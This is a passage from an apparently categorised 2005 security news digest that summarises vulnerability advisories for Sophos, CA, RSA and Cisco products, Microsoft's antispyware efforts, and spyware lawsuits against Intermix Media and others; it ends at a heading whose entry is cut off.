A remote overflow exists in Sophos anti-virus in which the anti-virus engine fails to perform proper bounds checking, which results in a heap-based buffer overflow. With a specially crafted visio file, a remote attacker can cause arbitrary code execution resulting in a loss of integrity. According to OSVDB, the vendor should be contacted for an appropriate upgrade. An upgrade is required as there are no known workarounds. Vendor Specific Advisory URL: <http://www.sophos.com/support/knowledgebase/article/3409.htm>

Category 27.1 Vulnerability assessment

2005-10-22 **CA iGateway debug HTTP GET request overflow vulnerability checking buffer**

DHS IAIP Daily; http://www.osvdb.org/displayvuln.php?osvdb_id=19920

CA IGATEWAY DEBUG MODE HTTP GET REQUEST OVERFLOW VULNERABILITY

A remote overflow exists in Computer Associates iGateway. The application fails to perform proper bounds checking resulting in a buffer overflow. With a specially crafted HTTP GET request, a remote attacker can cause arbitrary code execution with SYSTEM privileges resulting in a loss of integrity. This flaw is only exploitable if a non-standard installation has been performed and when the iGateway component has been explicitly configured to run with diagnostic debug tracing enabled. The vulnerability can be fixed with an upgrade to version 4.0.050623 or higher, as recommended by Computer Associates. An upgrade is required as there are no known workarounds. Vendor Specific Advisory URL: <http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33485>

Category 27.1 Vulnerability assessment

2005-10-22 **RSA Web redirect overflow vulnerability IIS validate parameter GET ISAPI termination restart**

DHS IAIP Daily; http://www.osvdb.org/displayvuln.php?osvdb_id=20151

RSA AUTHENTICATION AGENT FOR WEB IISWEBAGENTIF.DLL REDIRECT OVERFLOW VULNERABILITY

A remote overflow exists in RSA authentication agent for Web for IIS. IISWebAgentIF.dll fails to validate the length of the "url" parameter in the "Redirect" method, resulting in a stack-based buffer overflow. With a specially crafted GET request, an attacker can cause arbitrary code execution resulting in a loss of integrity. RSA Authentication Agent for Web for IIS is an ISAPI filter which runs in-process with inetinfo.exe. Any attempt to exploit this flaw will result in the termination and potential restart of the IIS service. Currently, there are no known workarounds or upgrades to correct this issue. However, RSA Security has reportedly released a patch to address this vulnerability. RSA Security: <http://rsasecurity.com/>

Category 27.1 Vulnerability assessment

2005-10-22 **RSA buffer overflow vulnerability boundary error**

DHS IAIP Daily; <http://seunia.com/advisories/17281/>

RSA AUTHENTICATION AGENT FOR WEB "REDIRECT" BUFFER OVERFLOW VULNERABILITY

A vulnerability in RSA Authentication Agent for Web for Internet Information Services has been detected. The vulnerability is caused due to a boundary error in IISWebAgentIF.dll. This can be exploited to cause a stack-based buffer overflow via a GET request with an overly long "url" parameter in the "Redirect" method. The vulnerability has been reported in version 5.2 and 5.3. Other versions may also be affected. According to Secunia, the vendor may have a patch available.

Category 27.1 Vulnerability assessment

2005-10-24 **Oracle patches NGSS bugs October buffer**

DHS IAIP Daily;

<http://www.techworld.com/news/index.cfm?newsID=4644&printfriendly=1>

ORACLE'S RECENT SECURITY PATCHES MAY LEAVE SERIOUS PROBLEMS UNFIXED

According to Mark Litchfield of Next Generation Security Software (NGSS), who discovered eighteen of the 88 bugs fixed in last week's update from Oracle, the patch could allow attackers to continue taking advantage of some of the bugs. Litchfield says "Having downloaded and given the Oracle October patch a cursory examination, some of the flaws ...remain exploitable... the patch is not sufficient." The bugs discovered by NGSS include a buffer overflow vulnerability and 17 PL/SQL injection flaws. Few details have yet been released publicly about most of the flaws. Oracle Critical Patch Update http://www.oracle.com/technology/deploy/security/pdf/cpooct2_005.html

Category 27.1 Vulnerability assessment

2005-10-25 **Symantec Web accounts default password vulnerability password**

DHS IAIP Daily; <http://www.securityfocus.com/bid/15188>

SYMANTEC DISCOVERY WEB ACCOUNTS DEFAULT PASSWORD VULNERABILITY

Symantec Discovery is prone to a vulnerability regarding the installation password. Remote and local attackers can exploit this issue to gain access to the database without requiring a valid password. This may facilitate further attacks against the database and possibly the underlying system. SecurityFocus reports that Symantec has released patches to address this issue in supported versions. Symantec Website: <http://www.symantec.com/avcenter/security/Content/2005.10.24.html>

Category 27.1 Vulnerability assessment

2005-10-25 **vendor anti-virus evasion vulnerability malicious software security**

DHS IAIP Daily; <http://www.securityfocus.com/bid/15189/info>

MULTIPLE VENDOR ANTI-VIRUS MAGIC BYTE DETECTION EVASION VULNERABILITY

Multiple vendor anti-virus software is prone to a detection evasion vulnerability. The problem presents itself in the way various anti-virus software determines the type of file it is scanning. An attacker can exploit this vulnerability to pass malicious files past the anti-virus software. This results in a false sense of security, and ultimately could lead to the execution of arbitrary code on the user's machine. SecurityFocus is not aware of any vendor-supplied patches for this issue.

Category 27.1

Vulnerability assessment

2005-10-25

German program software vulnerabilities viruses Trojan horses malicious software malware IT test Internet barometer

DHS IAIP Daily;

http://www.infoworld.com/article/05/10/25/HNmsgermansecurity_1.html

GERMAN ONLINE SECURITY PROGRAM AIMS TO MAKE USERS AWARE OF SOFTWARE VULNERABILITIES

A German program called "Safe in the Net" seeks to make users aware of e-mail viruses, Trojan horses, and other malicious software. The program, launched earlier this year by a German subsidiary of Microsoft, is offering CDs for users of Windows-based computers that contain programs to locate and remove malware and reboot infected machines. The program includes several components, including: an IT security information package with checklists and examples of good IT security practices; support for software developers and students; a security check; an online test certificate; information on how to buy and sell securely on the Internet; and a security barometer, which warns of current viruses, Trojans and other malware. Developers believe that the program could serve as a model for similar programs in other European and North American markets. Security Initiative: <http://www.sicher-im-netz.de>.

Category 27.1

Vulnerability assessment

2005-10-26

University of Washington IMAP buffer overflow vulnerability imap mailbox

DHS IAIP Daily; <http://www.securityfocus.com/bid/15009/references>

UNIVERSITY OF WASHINGTON IMAP MAILBOX NAME BUFFER OVERFLOW VULNERABILITY

University of Washington imap is prone to a buffer overflow vulnerability. This issue is exposed when the application parses mailbox names. Remote exploitation allows attackers to execute arbitrary code. The vulnerability specifically exists due to insufficient bounds checking on user supplied values.

Category 27.1

Vulnerability assessment

2005-10-27

SGI Linux vulnerabilities Secunia patch

DHS IAIP Daily; <http://secunia.com/advisories/17335/>

SGI ISSUES MULTIPLE UPDATES FOR ADVANCED LINUX ENVIRONMENT

SGI has issued updates to fix vulnerabilities in Linux. The vulnerabilities can be exploited to gain escalated privileges, gain knowledge of sensitive information, bypass certain security restrictions, and compromise a user's system. Secunia reports that SGI has issued a patch for SGI Advanced Linux Environment.

Category 27.1

Vulnerability assessment

2005-11-10

computer security threats networked peripheral devices

DHS IAIP Daily; <http://www.pcworld.com/news/article/0,aid,123483,00.asp>

ANY NETWORKED OFFICE GEAR CAN BE VULNERABLE TO ONLINE ATTACKERS

On Tuesday, November 9, at a two-day Office Document Solutions conference in Boston, MA, a number of presenters implored makers of printers, copiers, scanners, and other such devices to start thinking about security threats to office gear beyond just computers. According to Jim Joyce, senior vice president for office services at Xerox Global Services, "Network-connected output devices are becoming an absolute primary target of people, foreign and domestic, who are penetrating networks...The reason for that is many of them are large devices with large disk drives, with a fair amount of memory and are network connected and are not secure." Joyce said that Xerox has poured some \$20 million in recent years into technologies to better manage office and document systems and is putting a particular emphasis on security. He noted that some machines, such as multifunction devices, might have several operating systems in them that could provide security holes if not protected.

Category 27.1

Vulnerability assessment

2005-11-22

patching deployment fix IT department faster vulnerability assessment

DHS IAIP Daily;

<http://www.computerweekly.com/Articles/2005/11/22/213048/ITdepartmentsgetfasteratpatchingsystems.htm>

IT DEPARTMENTS GET FASTER AT PATCHING SYSTEMS

IT departments have significantly reduced the time they take to patch their systems when new security vulnerabilities, viruses, or worms become public. The average time taken for IT departments to patch half of their external-facing systems has fallen to 19 days, down from 21 days a year ago, and from 30 days two years ago, according to IT security supplier Qualys. IT departments have reduced the time taken to patch half of their internal systems from 52 days to 48 days, according to an analysis of 32 million vulnerability scans of Qualys systems. However, the research showed that 80% of security exploits appear before companies patch half of their systems. Similarly, it showed worms cause most damage within the first 15 days of an outbreak.

Category 27.1

Vulnerability assessment

2005-12-12

research finding security expert port scan sniffing hack attacks low correlation

DHS IAIP Daily;

<http://www.securitypipeline.com/news/175000553;jsessionid=M4IGXZPVFH0JCQSNDBOCKHSCJUMEKJVN>

SECURITY EXPERT FINDS PORT SCANS NOT TIED TO HACK ATTACKS

Port scanning, the practice of sniffing for computers with unprotected and open ports, isn't much of a harbinger of an attack, a University of Maryland researcher said Monday, December 12. Michel Cukier, an assistant professor at the College Park, MD-based school, said that contrary to common thought, few port scans actually result in an attack. In fact, only about five percent of attacks are preceded by port scans alone. "But when you combine port scans with other kinds of scans, particularly vulnerability scans, there's a much higher probability of an attack," said Cukier. Nearly three-quarters of the attacks prefaced by some kind of scan came after both a port and a vulnerability scan were run against the exposed PCs, noted Cukier's report. Through his research, Cukier expected to see a higher correlation between port scanning and attacks, but the analysis also showed that it was relatively easy to spot the difference between a port scan and a more dangerous vulnerability scan simply by counting up the number of data packets received by the PC. Cukier and his researchers concluded that there seems to be no link between port scans and attacks. Cukier's research paper: http://www.enre.umd.edu/faculty/cukier/81_cukier_m.pdf

27.3 Intrusion detection systems

Category 27.3 *Intrusion detection systems*
 2005-04-27 **data leakage loss confidentiality control database privacy personal information audit test procedure risk management**

RISKS	23	87
-------	----	----

COMPROMISE-DETECTION TEST FOR PERSONAL-INFORMATION DATABASES

Pekka Pihlajaari wrote from South Africa about an excellent method for detecting compromise of personal-information databases:

Many articles documenting the risks of exposure of personally identifiable information bemoan the possibility of compromise. There seems to be very little quantitative information on the number of cases where the information is used inappropriately.

If a selection of unused social security numbers were identified as probes, these could be used by credit bureaux and other large databases as proxies for compromise. Any use of these numbers would be positive confirmation of breach of the related database, and an indication of the rate at which harvested numbers are utilised. While this does pollute the datasets with incorrect data, this provides an in-band mechanism to detect misuse. The practise has been in use by mailing list rental companies to count the number of times a list is used.

The low occurrence of the probes makes wholesale harvesting easy to detect and difficult for the harvester to protect themselves against. This risk, of course, is that the list of probe numbers is compromised!

[MK notes that criminals' creation and fraudulent use of fake SSNs that happened to match the probes would trigger false positives in this system, but that problem does not invalidate the method proposed as a useful tool.]

Category 27.3 *Intrusion detection systems*
 2005-07-14 **Apple OS X fixes crash data firewall filtering 10.4 Tiger widgets Dashboard warning install**

DHS IAIP Daily; <http://www.vnunet.com/vnunet/news/2139781/apple-issues-two-s-eurity>

APPLE UNVEILS OS X SECURITY PATCHES

Apple has released two security fixes for bugs in its OS X operating system. The first patch plugs a hole that could allow hackers to crash a system by sending a specially crafted data packet. The flaw effectively opens up the system for a denial of service attack. A security notice on Apple's Website says that the flaw affects only the 10.4 versions of OS X and will not harm computers that sit behind a 12 firewall or are otherwise protected through packet filtering. The other patch targets a bug in the 10.4 Tiger operating system that allows users inadvertently to overwrite standard widgets in Apple's Dashboard application. The update provides a warning when a user attempts to install a widget that has the same name as an existing one. Previously the new widget would run instead of the system widget, effectively making the original one inaccessible to the user. This latest update moves OS X 10.4 to version 10.4.2.

Category 27.3 *Intrusion detection systems*
 2005-10-04 **network attack tracking intrusion detection academic campus Internet comparison intelligence project Columbia University**

EDUPAGE; <http://chronicle.com/daily/2005/10/2005100401t.htm>

RESEARCH PROJECT WILL TRACK NETWORK ATTACKS

A research project will collect regular snapshots of computer networks from as many as 10 colleges and universities in an effort to improve protections from and responses to Internet attacks. The Information Security in Academic Institutions project, an initiative of the Columbia University Teachers College, uses monitoring technology called Dshield and has already been tested at three institutions. The other institutions in the project have yet to be named, and the system may eventually be widely available. The system will give network administrators data about the state of networks, allowing them to gain a better understanding of Internet attacks by comparing data from before, during, and after an attack. Steffani A. Burd, executive director of the project, described it as "a 360-degree view of what's going on." The system will also pool data collected from participating institutions and make it available anonymously on the Web. This aggregation of data will allow a comparison between activity on the Internet generally and what's happening at campuses. Chronicle of Higher Education, 4 October 2005 (sub. Req'd)

27.4 Firewalls & other perimeter defenses

Category 27.4

Firewalls & other perimeter defenses

2005-01-19

Cisco Internetwork Operating System IOS call processing solutions telephony vulnerability denial of service DoS attack update issued

DHS IAIP Daily; <http://www.cisco.com/warp/public/707/cisco-sa-20050119-itscm.e.shtml>

VULNERABILITY IN CISCO IOS EMBEDDED CALL PROCESSING SOLUTIONS

Cisco Internetwork Operating System (IOS®) Software release trains 12.1YD, 12.2T, 12.3 and 12.3T, when configured for the Cisco IOS Telephony Service (ITS), Cisco Call Manager Express (CME) or Survivable Remote Site Telephony (SRST) may contain a vulnerability in processing certain malformed control protocol messages. A successful exploitation of this vulnerability may cause a reload of the device and could be exploited repeatedly to produce a Denial of Service (DoS). Vendor solution available through Source link below.

Category 27.4

Firewalls & other perimeter defenses

2005-01-26

Cisco Internetwork Operating System IOS Border Gateway Protocol BGP packet reload vulnerability denial of service DoS attack update issued

DHS IAIP Daily; <http://www.cisco.com/warp/public/707/cisco-sa-20050126-bgp.s.html#software>

CISCO IOS MISFORMED BGP PACKET CAUSES RELOAD

A Cisco device running IOS® and enabled for the Border Gateway Protocol (BGP) is vulnerable to a Denial of Service attack from a malformed BGP packet. Only devices with the command `bgp log-neighbor-changes` configured are vulnerable. The BGP protocol is not enabled by default, and must be configured in order to accept traffic from an explicitly defined peer. Unless the malicious traffic appears to be sourced from a configured, trusted peer, it would be difficult to inject a malformed packet. Solution available through Source link below.

Category 27.4

Firewalls & other perimeter defenses

2005-01-27

Cisco Internetwork Operating System IOS reload IPv6 packets vulnerability denial of service DoS conditions update issued

DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Jan/1013016.html>

CISCO IOS CAN BE RELOADED BY REMOTE USERS SENDING MULTIPLE IPV6 PACKETS

A vulnerability was reported in Cisco IOS in the processing of IPv6 packets. A remote user can cause denial of service conditions. A remote user can send multiple specially crafted IPv6 packets to the target device to cause the device to reload. Only systems configured for IPv6 are affected. The vulnerability can be exploited repeatedly to cause prolonged denial of service conditions. Original advisory and solution available at: <http://www.cisco.com/warp/public/707/cisco-sa-20050126-ipv6.shtml>

Category 27.4

Firewalls & other perimeter defenses

2005-01-27

Cisco Internetwork Operating System IOS MPLS interface disable vulnerability update issued

DHS IAIP Daily; <http://securitytracker.com/alerts/2005/Jan/1013015.html>

CISCO IOS MPLS DISABLED INTERFACES LET REMOTE USERS DENY SERVICE

A vulnerability was reported in Cisco IOS in the processing of Multi Protocol Label Switching (MPLS) packets. A remote user can cause denial of service conditions. A remote user on a local network segment can send a specially crafted packet to an MPLS disabled interface to cause the interface to reset. Original advisory and solution available at: <http://www.cisco.com/warp/public/707/cisco-sa-20050126-les.shtml>

Category 27.4

Firewalls & other perimeter defenses

2005-04-06

Cisco Internetwork Operating System Internet Key Exchange IKE X authority Xauth authentication bypass vulnerabilities update issued

DHS IAIP Daily; <http://www.frsirt.com/english/advisories/2005/0321>

CISCO IOS IKE XAUTH AUTHENTICATION BYPASS VULNERABILITIES

Two vulnerabilities were identified in Cisco IOS, which may be exploited by remote attackers to gain unauthorized access to the network resources. The first flaw resides in the Easy VPN Server XAUTH feature which fails to handle certain malformed packets (port 500/udp). The second vulnerability exists where the ISAKMP profile is assigned but the attributes that are configured in the ISAKMP profile are not processed. Original advisory and solution:
http://www.cisco.com/en/US/products/products_security_advisory09186a008042d519.shtml#software

27.7 Anti-malware technology

Category 27.7

Anti-malware technology

2005-01-06

Microsoft anti-spyware tool download antivirus viruses malware Microsoft McAfee Symantec

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=7260250>

MICROSOFT LAUNCHES ANTISPYWARE TOOL

Microsoft this week began offering a test version of an antispyware application for download. The company had been promising such a tool for some time, and it will debut an antivirus tool next week for cleaning viruses and other malware from computers. A spokesperson for Microsoft also said it will begin offering a service called "A1" that will provide users with updates to these tools. Microsoft has been working to improve the security standards of its products, and the company's new tools represent its extension of those efforts into the software security market currently led by companies including McAfee and Symantec. Shares of both of those companies' stock fell sharply on the news of Microsoft's new security tools.

Category 27.7

Anti-malware technology

2005-01-14

Microsoft anti-virus malware Stephen Cobb Chey Cobb

NewsScan;

SAFE & SOUND IN THE CYBER AGE

"Microsoft the Security Company?"
by Stephen Cobb and Chey Cobb

Ever wonder why car companies don't make tires? A new Porsche doesn't come with Porsche tires even though Porsche engineers are some of the smartest in the world. We recently bought an almost-new Nissan and it came with the original tires, made by Goodyear. Of course, there are close relationships between car companies and tire companies, and they all have to work together on a variety of constantly evolving standards to make sure that the rubber that meets the roads fits the wheels on the wagon, so to speak. What has this got to do with computer security? Some alert NewsScan readers will have guessed already: Microsoft has planted its feet firmly in the computer security business. Now think of Microsoft as the GM of computing (actually a closer approximation of Microsoft's position in the IT world would be a mega-GM that had absorbed Ford, Toyota, Honda, and Daimler Chrysler). In other words, Microsoft makes most of the world's operating system software and most of the world's application software, which together make up the "cars" we are talking about. The safety of those cars, the rubber on the road in our analogy, is currently entrusted to a wide range of companies, big and small, companies like Symantec, Computer Associates, McAfee, Trend Micro, ZoneAlarm, Sygate, Grisoft, et al. These companies make their money selling products that help us to use Microsoft's products without skidding, crashing, or otherwise going off the virtual highway. For the most part they manage to perform this function without negatively impacting performance or the usability of our systems, while constantly evolving to meet new threats, many of which arise from defects in the very car they ride on, Microsoft's Windows OS and Office applications. However, through a series of recent announcements, Microsoft has indicated that it would like a slice of the revenue these security companies earn from protecting users of Microsoft products. Some Wall Street analysts have declared that this is a good move for Microsoft, and bad news for all those security companies that will lose market share to Microsoft. Given the slavish, sheep-like manner in which some investors follow the words of Wall Street analysts, it could indeed be good news for Microsoft, a sort of self-fulfilling investment prophecy, until the world wakes up to what a bad idea it is for Microsoft to make the tires for its cars. The last time Microsoft tried this, the results, for users, were dismal. Of course, these days it is hard to find a Wall Street analyst with a memory longer than the last four quarters, so you probably won't see many references to Microsoft's 1993 vintage Anti-Virus for DOS in current discussions of Microsoft's security ventures (but you can find a very detailed critique of the product, written about ten years ago by the late Yisrael Radai of the Hebrew University of Jerusalem, at cobb.com/pclan, or just Google "MSAV"). We would like to quote from the first paragraph of this review: "The very fact that such software [Microsoft AV] is supplied with DOS makes it likely that it will become one of the most widely used AV packages in the world and the de facto standard, regardless of its quality. Precisely for this reason, it will be specifically targeted by virus writers. If there are any weaknesses whatsoever in the software, they will be ruthlessly exploited by these people." In fact, Microsoft's implementation of anti-virus back then was so bad it never gained traction in the market place, but that does not undermine the serious implications of Mr. Radai's very astute observations. During the last ten years Microsoft has become more effective at forcing its software on users -- flaws and all (you will know this if you have ever tried to remove Internet Explorer from your Windows computer). Of course, today's malicious code writers frequently target products by Symantec, McAfee, et al. But the very fact that there is still an "et al." provides a depth of protection that will be eroded by any further expansion of Microsoft into the security arena. Perhaps the best outcome will be a repeat of the Firefox phenomenon, in which increasingly sophisticated users decide that the best way to deal with systemic security flaws in Microsoft's browser is to use a different browser. This has already produced a significant decline in market share for Internet Explorer. Heck, with Apple now selling a very powerful Mac for less than \$500, complete with cool applications like Garage Band and Appleworks, some people may decide to drive the Internet highway in a completely different vehicle, on tires of their own choosing. [Chey Cobb, CISSP, wrote "Network Security for Dummies" and has provided computer security advice to numerous intelligence agencies. Her e-mail address is chey at soteira dot org. Stephen Cobb, CISSP, wrote "Privacy for Business" and helped launch several successful security companies. He can be reached as scobb at cobb dot com.]

Category 27.7

Anti-malware technology

2005-02-08

**Microsoft acquire antivirus maker Sybari Software viruses worms threats security
Romanian company GeCAD Software Giant Software Company business technology**

EDUPAGE; <http://www.nytimes.com/2005/02/09/technology/09soft.html>

MICROSOFT TO ACQUIRE ANTIVIRUS MAKER

Microsoft has announced plans to acquire privately held Sybari Software, maker of software that protects against viruses, worms, and other threats. Microsoft has purchased other companies as part of its efforts to increase security, including a Romanian antivirus company, GeCAD Software, in 2003 and antispyware maker Giant Software Company in December of last year. Mike Nash, corporate vice president in Microsoft's security business and technology unit, said that with the latest purchase, Microsoft will begin offering stand-alone antivirus products. He said the company would soon offer a product based on Sybari technology and geared toward business customers. Other products designed to protect PCs from Web-based attacks will follow, though Nash did not provide a time frame for those applications.

Category 27.7 Anti-malware technology
2005-02-16 **Bill Gates IE anti-spyware conference security Microsoft Internet Explorer browser flaws operating systems**

EDUPAGE; <http://online.wsj.com/article/0,,SB11084856596255359,00.html>

GATES PROMISES NEW IE, FREE ANTISPYWARE

Speaking at a computer-security conference in San Francisco, Microsoft Chairman Bill Gates outlined a number of steps the company will take to address growing security concerns over its products. This summer, Microsoft will release a test version of Internet Explorer 7, the first major update of its browser in four years. Microsoft's browser has been the target of strong criticism for its security flaws. Gates said IE 7 will include antispyware tools for no extra cost, though other officials from Microsoft said the company would offer a paid subscription service to help consumers "manage" antispyware efforts. Gates also said the company would offer a range of antivirus products by the end of the year, which is later than many analysts had expected. Officials from competing computer-security companies said Microsoft's offering similar products by itself is not a source of great concern; rather, it is Microsoft's ability to bundle such tools with its operating systems that worries them. Gregor Freund, chief technology officer at Check Point Software, said if Microsoft bundles spyware with Windows, it is "playing a game that no one else can play." Wall Street Journal, 16 February 2005 (sub. req'd)

Category 27.7 Anti-malware technology
2005-04-26 **denial of service software quality assurance QS antivirus signature file endless CPU loop reboot update**

RISKS 23 85

MAJOR DAMAGE CAUSED BY BAD UPDATE FILE FOR TRENDMICRO ANTIVIRUS

TrendMicro released a defective antivirus update file on 23 Apr 2005 that was picked up automatically by many users in Japan. The bad file caused a CPU loop that consumed 100% of the processor time on Windows XP SP2 and Windows 2003 Server systems. Effects reported to RISKS by Chiaki Ishikawa included (as examples of many others)

- JR railway reservation division could not check the reservation status (fed via network to PCs?) and so diverted (telephone) inquiring customers to manned counters at railway stations;
 - Kyodo wire service could not send out automatic wire service news for a few hours, and so resorted to send out important news via FAX (I believe that the initial news articles from Kyodo was sent in this manner);
 - Osaka subway system saw its computer to distribute accident information to its stations failed to reboot; and
 - Toyama city's election committee could not handle advance voting for its mayoral and city alderman elections on their computer and had to resort to manual processing.
-

Category 27.7 Anti-malware technology
2005-06-20 **hacker security tools attacked software vulnerability Symantec F-Secure CheckPoint DHS IAIP Daily;**
http://news.com.com/Security+tools+face+increased+attack/210_0-1002_3-5754773.html?tag=nefd.top

SECURITY TOOLS FACE INCREASED ATTACK ACCORDING TO RESEARCH GROUP

As the pool of easily exploitable Windows security bugs dries up, hackers are looking for holes in security software to break into PCs, Yankee Group analysts said in a research paper published Monday, June 20. According to the Yankee Group, software makers of ubiquitous antivirus products have not yet been forced to acknowledge and fix potential problems in their code. Microsoft's Windows operating system has been a favorite target of hackers, but new security flaws are being discovered in security products at a faster rate than in Microsoft's products, the analysts wrote. Symantec, F-Secure and CheckPoint Software Technologies are among the vendors that have seen a rise in the number of security issues that affect their products in the past years and the Yankee Group predicts a "rising tide" of vulnerabilities will soon be found in security products. Yankee Group findings: http://www.yankeegroup.com/public/news_releases/news_release_detail.jsp?ID=PressReleases/news_06202005_FearandLoathing_P_R.htm

Category 27.7 Anti-malware technology
2005-10-19 **Rootkit professional commercialization worm evade antivirus scanners StillSecure intrusion vulnerability network applications**

DHS IAIP Daily; <http://www.vnunet.com/vnunet/news/2144149/rootkits-turn-professional>

ROOTKIT CREATORS TURN PROFESSIONAL

Security experts are reporting a surge in the level of professionalism and commercialization in the creation of rootkits, a tool that helps worm authors slip past malware detection tools. Antivirus vendor F-Secure has reported that it has detected a new rootkit designed to bypass detection by most of the modern rootkit detection engines. Traditionally a rootkit would be designed to evade only one security product, such as Symantec's or F-Secure's antivirus scanners. Allen Schimel, chief strategy officer at StillSecure, a developer of intrusion detection, vulnerability management, and network access control applications, says "These rootkits just cranked it up a notch in their ability to evade multiple antivirus products." Schimel also warns that if these tools are effective in penetrating a computer's defenses, more worm authors are likely to start using them. The version of the rootkit detected by F-Secure is called Golden Hacker Defender.

28.1 Spyware, Web bugs & cookies

Category 28.1

Spyware, Web bugs & cookies

2005-01-04

online marketer halt spyware litigation Sanford Wallace FTC deceptive software secretly installed

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?&storyID=7235820>

ONLINE MARKETER AGREES TO HALT SPYWARE DURING LITIGATION

Alleged spyware kingpin Sanford Wallace has agreed to stop distributing spyware pending the resolution of charges filed against him and two of his companies by the Federal Trade Commission (FTC). In October, the FTC charged Wallace with deceptive trade practices, saying that Wallace's companies, Seismic Entertainment Productions and SmartBot.Net, distributed software that was secretly installed on users' computers. The software would cause problems on computers where it was installed and would then display pop-up ads for programs to remove the spyware. Under an agreement filed with the U.S. District Court in New Hampshire, Wallace, who does not admit guilt, does agree to halt the practice of secretly installing spyware while the litigation is proceeding. Wallace and his companies are still allowed to display pop-up ads.

Category 28.1

Spyware, Web bugs & cookies

2005-01-07

anti-spyware software Microsoft review evaluation beta-test

RISKS

23

66

NEWS! SLADE DOESN'T SLAM SPYWARE DEFENSE!

Veteran reviewer Rob Slade reported his first impressions of the Microsoft Anti-Spyware beta version. After detailed information on his explorations and tests, he summarized his findings as follows: "At the moment, after a very quick test, I'd provisionally recommend the use of the MS/Giant antispyware program, at least in fairly restricted and manual mode. I'd be interested in hearing from others who have tested the real-time operations more extensively, and particularly from anyone who has tested the SpyNet capabilities, and what information is returned thereby."

Category 28.1

Spyware, Web bugs & cookies

2005-01-07

Microsoft anti-spyware Windows

NewsScan; <http://www.washingtonpost.com/wp-dyn/articles/A54902-2005Jan6.html>

MICROSOFT OFFERS ANTI-SPYWARE SOFTWARE

In a move indicating its increasing interest in the security market, Microsoft is giving away software designed to protect Windows users from spyware (programs that transmit information about the user without his or her knowledge). Industry analysts believe the company will eventually enter the market for computer security software, and George Kafkarkou of Computer Associates says that Microsoft's entry into the antispyware arena brings "validation" to that marketplace. (Washington Post 7 Jan 2005)

Category 28.1

Spyware, Web bugs & cookies

2005-04-29

spyware installation lawsuit New York Attorney General Intermix Media state law violation

EDUPAGE; <http://www.nytimes.com/2005/04/29/nyregion/29internet.html>

SPITZER FILES SUIT AGAINST MARKETING FIRM FOR SPYWARE

New York Attorney General Eliot Spitzer has filed suit against California-based Intermix Media for installing spyware on millions of computers. The marketing company, which conceded that previous owners indeed distributed spyware, is accused of violating state laws concerning false advertising, deceptive business practices, and trespassing. The state is seeking injunctions barring the company from distributing any more spyware; an accounting of revenues the company realized from the spyware; and fines of \$500 for each act of installing spyware. A statement from the company said that it voluntarily stopped installing spyware recently and that no personal information was ever collected with the secretly installed software. The statement hinted at trying to reach a settlement with New York, a resolution that observers said is a typical outcome of situations like this one. New York Times, 29 April 2005 (registration req'd)

Category 28.1

Spyware, Web bugs & cookies

2005-04-29

lawsuit litigation spyware insidious software New York vs. California Internet company Intermix Media

DHS IAIP Daily; <http://www.nytimes.com/2005/04/29/nyregion/29internet.html>

NEW YORK SUES CALIFORNIA INTERNET COMPANY ON USE OF SPYWARE

A broad investigation into Internet abuses led the New York attorney general to file a lawsuit on Thursday, April 28, accusing a California company of clogging computers across the nation with secretly installed spyware and adware, which can vex users and impede the flow of commerce on the Web. The attorney general, Eliot Spitzer, sued Intermix Media, a large Internet marketing firm, accusing it of embedding "several types of invasive and annoying" programs on its Web domains that can pop up, route users to unwanted sites or link them to Intermix's services and clients. In recent years, companies have tried to sneak what consumer advocates call parasitic software into computers that tracks users' browsing habits, but government inquiries into such practices have been rare, said Ben Edelman, a Harvard University researcher who studies spyware. An official with Intermix, in a statement posted on Thursday on the company's Website, said that the company neither promoted nor condoned spyware, and that many of the practices being challenged by Mr. Spitzer began under the company's previous leadership.

Category 28.1

Spyware, Web bugs & cookies

2005-05-24

spyware malicious code installation affiliate program Russia business iframeDOLLARS

EDUPAGE; <http://www.techweb.com/wire/security/163700705>

SPREADING SPYWARE THROUGH AN AFFILIATE PROGRAM

A business based in Russia is adopting the affiliate-program approach to spreading spyware around the globe. Called iframeDOLLARS, the company is offering Web site operators 6.1 cents for every computer on which the Web site installs code that exploits vulnerabilities in Windows and Internet Explorer. Microsoft has issued patches for the weaknesses, but unpatched computers remain at risk. The malicious code includes backdoors, Trojans, spyware, and adware. Operators of the iframeDOLLARS site claim to have paid out nearly \$12,000 last week alone, which would translate to nearly 200,000 infected computers. Although spyware expert Richard Stiennon called the tactic "brazen" and said iframeDOLLARS might be making quite a bit of money from its scheme, Dan Hubbard, the head of security at Websense, gave iframeDOLLARS less credit. He noted that the company has been around for a while, trying various methods to install malicious code, and he said a number of others have tried similar affiliate programs to accomplish the same thing. TechWeb, 24 May 2005

Category 28.1

Spyware, Web bugs & cookies

2005-06-03

spam anti-spam Anti-Spyware Coalition definition spyware Center for Democracy and Technology

EDUPAGE; <http://software.silicon.com/malware/0,3800003100,39130956,00.htm>

SPAM FIGHTERS FORM NEW COALITION

A new group tentatively called the Anti-Spyware Coalition plans to publish guidelines to define spyware, best practices for software development, and a lexicon of common terms by the end of the summer. The guidelines will be open to public comment. The Center for Democracy and Technology, a public advocacy group based in Washington, is running the new initiative. The coalition formed two months after the collapse of the Consortium of Anti-Spyware Technology Vendors, which admitted a company suspected of making adware. According to David Fewer, staff counsel at the Ottawa-based Canadian Internet Policy and Public Interest Clinic, which is affiliated with the new consortium, judging whether software is spyware comes down to notice, consent, and control. Many adware and spyware products fail to meet all three requirements. Silicon.com, 3 June 2005

Category 28.1 Spyware, Web bugs & cookies
2005-06-15 **spyware malicious insidious software program anti-spyware lawsuit litigation New York Attorney General Eliot Spitzer**

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=8798165>

SPYWARE CHARGES RESULT IN \$7.5 MILLION SETTLEMENT

California-based Intermix Media will pay New York State \$7.5 million over three years to settle a spyware lawsuit. In the suit, New York Attorney General Eliot Spitzer had charged the company with violating state false-advertising and deceptive-practices laws. Intermix acknowledged that it formerly distributed software that was surreptitiously installed on users' computers, though as part of the settlement the company admitted no wrongdoing. Intermix had previously suspended the distribution of the software at issue; with the settlement, the company will permanently discontinue the practice. Intermix has also created a position of chief privacy officer since the lawsuit was originally filed, and officials from the company said they have cooperated with federal regulators. Reuters, 15 June 2005

Category 28.1 Spyware, Web bugs & cookies
2005-06-17 **spyware adware BitTorrent application distribution P2P peer-to-peer downloads**

DHS IAIP Daily; http://tech.nytimes.com/cnet/CNET_2100-7349_3-5750601.html

SPYWARE AND ADWARE IN BITTORRENT DOWNLOADS

